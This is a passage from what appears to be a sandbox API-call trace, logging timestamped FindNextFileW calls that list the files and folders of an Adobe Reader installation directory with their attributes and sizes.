cAlternateFileName="")) returned 1 [0069.636] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72bf0d00, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x191cc8f5, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x72bf0d00, ftLastWriteTime.dwHighDateTime=0x1d28909, nFileSizeHigh=0x0, nFileSizeLow=0x2d9d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="1494870C-9912-C184-4CC9-B401-A53F4D8DE290.pdf", cAlternateFileName="149487~1.PDF")) returned 1 [0069.636] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a672c00, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdb16256d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3a672c00, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x28bf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="A3DUtils.dll", cAlternateFileName="")) returned 1 [0069.637] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a672c00, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xded496a3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3a672c00, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xe8ff0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACE.dll", cAlternateFileName="")) returned 1 [0069.637] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3632d245, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3632d245, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3632d245, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroApp", cAlternateFileName="")) returned 1 [0069.637] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe2d5caac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x465f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroBroker.exe", cAlternateFileName="ACROBR~1.EXE")) returned 1 [0069.637] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x352c8bdc, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe15851ea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe15851ea, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroCEF", cAlternateFileName="")) returned 1 [0069.637] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1758800, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1abe0524, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe1758800, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x134b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrofx32.dll", cAlternateFileName="")) returned 1 [0069.637] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf33f4ce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x16dc3f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroRd32.dll", cAlternateFileName="")) returned 1 [0069.637] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf3b1bc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x21fdf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroRd32.exe", cAlternateFileName="")) returned 1 [0069.638] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc98600, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf3d7e46, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3cc98600, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x71f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroRd32Info.exe", cAlternateFileName="ACRORD~1.EXE")) returned 1 [0069.638] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf66062a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xe07ff0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroRd32Res.dll", cAlternateFileName="ACRORD~1.DLL")) returned 1 [0069.638] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdec648c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x1c7f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroSup64.dll", cAlternateFileName="ACROSU~1.DLL")) returned 1 [0069.638] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf6d2df0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xaff0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroTextExtractor.exe", cAlternateFileName="ACROTE~1.EXE")) returned 1 [0069.638] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe2d82cf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x21df0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADelRCP.exe", cAlternateFileName="")) returned 1 [0069.638] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37bc3c75, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x711, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe.Reader.Dependencies.manifest", cAlternateFileName="ADOBER~1.MAN")) returned 1 [0069.639] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe2a15668, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xd87f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.exe", cAlternateFileName="ADOBEC~1.EXE")) returned 1 [0069.639] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdea0236a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x7e1f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeLinguistic.dll", cAlternateFileName="ADOBEL~1.DLL")) returned 1 [0069.639] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1f95cdaa, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x45650, dwReserved0=0x0, dwReserved1=0x0, cFileName="adoberfp.dll", cAlternateFileName="")) returned 1 [0069.639] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1758800, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1b58fe2e, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe1758800, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x4ae50, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeXMP.dll", cAlternateFileName="")) returned 1 [0069.639] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc98600, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf876737, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3cc98600, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x4e5df0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AGM.dll", cAlternateFileName="")) returned 1 [0069.639] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x36fd7dc6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x6bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="AGMGPUOptIn.ini", cAlternateFileName="AGMGPU~1.INI")) returned 1 [0069.640] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1758800, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1ab2191d, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe1758800, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x426b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ahclient.dll", cAlternateFileName="")) returned 1 [0069.640] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xda8e3fa2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x116c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="AIDE.dll", cAlternateFileName="")) returned 1 [0069.640] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xde91d4f2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xde91d4f2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xde91d4f2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AIR", cAlternateFileName="")) returned 1 [0069.640] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37a46528, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x152a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="arh.exe", cAlternateFileName="")) returned 1 [0069.640] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a672c00, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdecd6f88, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3a672c00, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x309f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXE8SharedExpat.dll", cAlternateFileName="AXE8SH~1.DLL")) returned 1 [0069.640] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a672c00, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xded23451, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3a672c00, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x989f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXSLE.dll", cAlternateFileName="")) returned 1 [0069.641] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf89c98d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x1d1f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIB.dll", cAlternateFileName="")) returned 1 [0069.641] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf89c98d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x269f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIBUtils.dll", cAlternateFileName="")) returned 1 [0069.641] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x352a2928, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xde9b5e59, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xde9b5e59, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Browser", cAlternateFileName="")) returned 1 [0069.641] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdec3e62f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x35200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ccme_asym.dll", cAlternateFileName="CCME_A~1.DLL")) returned 1 [0069.641] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe2a3b8a6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x62c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ccme_base.dll", cAlternateFileName="CCME_B~1.DLL")) returned 1 [0069.641] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdb1160cd, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x5cc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ccme_base_non_fips.dll", cAlternateFileName="CCME_B~2.DLL")) returned 1 [0069.642] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdecb0d47, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x7b200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ccme_ecc.dll", cAlternateFileName="")) returned 1 [0069.642] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72bf0d00, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x191f2bd5, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x72bf0d00, ftLastWriteTime.dwHighDateTime=0x1d28909, nFileSizeHigh=0x0, nFileSizeLow=0x2d9d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Click on 'Change' to select default PDF handler.pdf", cAlternateFileName="CLICKO~1.PDF")) returned 1 [0069.642] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf9352cd, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x2cabf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoolType.dll", cAlternateFileName="")) returned 1 [0069.642] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdec648c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x35600, dwReserved0=0x0, dwReserved1=0x0, cFileName="cryptocme.dll", cAlternateFileName="CRYPTO~1.DLL")) returned 1 [0069.642] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe2a61b10, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xb74, dwReserved0=0x0, dwReserved1=0x0, cFileName="cryptocme.sig", cAlternateFileName="CRYPTO~1.SIG")) returned 1 [0069.642] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbb0b100, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xda97c8cb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcbb0b100, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x1fff0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DirectInk.dll", cAlternateFileName="DIRECT~1.DLL")) returned 1 [0069.643] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1d4b4a4a, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x15050, dwReserved0=0x0, dwReserved1=0x0, cFileName="Eula.exe", cAlternateFileName="")) returned 1 [0069.643] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37c828ce, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xa1aa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExtendScript.dll", cAlternateFileName="EXTEND~1.DLL")) returned 1 [0069.643] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37b2b330, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xd72a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="icucnv40.dll", cAlternateFileName="")) returned 1 [0069.643] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37b51580, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x17aa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="icudt40.dll", cAlternateFileName="")) returned 1 [0069.643] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3626e649, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3626e649, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3626e649, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IDTemplates", cAlternateFileName="IDTEMP~1")) returned 1 [0069.643] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b83e876, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0x1b83e876, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x1b83e876, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Javascripts", cAlternateFileName="JAVASC~1")) returned 1 [0069.644] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf981782, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xbc1f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JP2KLib.dll", cAlternateFileName="")) returned 1 [0069.644] 